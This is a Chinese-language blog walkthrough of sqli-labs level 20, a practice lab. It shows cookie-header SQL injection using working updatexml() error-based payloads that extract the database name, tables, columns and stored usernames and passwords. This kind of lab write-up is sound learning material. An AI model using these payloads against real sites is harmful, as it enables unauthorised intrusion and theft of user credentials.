sqli-labs关卡20(基于http头部报错盲注)通关思路

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

通过上一关的referer字段的注入,我们更加熟悉了http头部注入。这一关也是http头部注入,只是换地方了

二、靶场第二十关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

发现第二十关的界面啥都没有了,按照之前通关的思路。我们先把测试账号admin登录进去,发现有记录cookie的信息回显到页面。(如图所示)

从上两关总结的经验得到,这一次应该就是http头部的cookie注入了。我们重新登录admin抓包,果然发现请求包有cookie值。这里我们使用and 1=1 和 and 1=2,发现页面正常,说明不是数字型。我们直接提交1'发现报错,报错信息为

Issue with your mysql: You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for the right

syntax to use near ''admin'' LIMIT 0,1' at line 1

通过报错信息我们可以构造payload,发现就是简单的单引号闭合

php 复制代码
uname=admin'#

2、爆数据库名

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select database()),0x3a),1)#

3、爆数据库表

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#


得到关键数据库表名users

4、爆数据库列

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
php 复制代码
' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#

得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
php 复制代码
' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#

得到账号密码


总结

这一关和前几关都差不多,只是注入点不一样罢了。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关推荐
砚凝霜22 分钟前
软考网络工程师|第 5 章 广域网基础技术完整备考笔记
网络·笔记
国科安芯25 分钟前
卫星星务计算机数据管理中SEU容错机制的技术实现研究——以AS32S601存储器ECC架构为例
网络·单片机·算法·fpga开发·架构·云计算·risc-v
生戎马 平安京策1 小时前
SQL Transcation的一些总结
数据库·sql·oracle
Lust Dusk1 小时前
记一次web渗透做题思路解析
网络·安全·web安全·网络安全
U-Mail邮件系统2 小时前
企业邮箱搭建用自建还是租用?合规、成本与安全性对比解析
服务器·网络·企业邮箱系统
七夜zippoe2 小时前
DolphinDB 能耗优化实战:节能策略设计、效果评估与 ROI 分析
网络·dolphindb·roi·效果评估·能耗优化·策略设计
施嘉伟2 小时前
KingbaseES V9 Oracle兼容版:SQL 调优实测
sql·oracle
Alexon Xu2 小时前
Java中的HTTP组件全方位对比
http
木由里予3 小时前
TEE(Trusted Execution Environment)技术详解
java·linux·开发语言·网络·嵌入式硬件·android-studio
Sagittarius_A*3 小时前
Burst Lab|PHP 审计 10:PHP 网络请求与 SSRF 漏洞审计思路
网络·安全·web安全·php·代码审计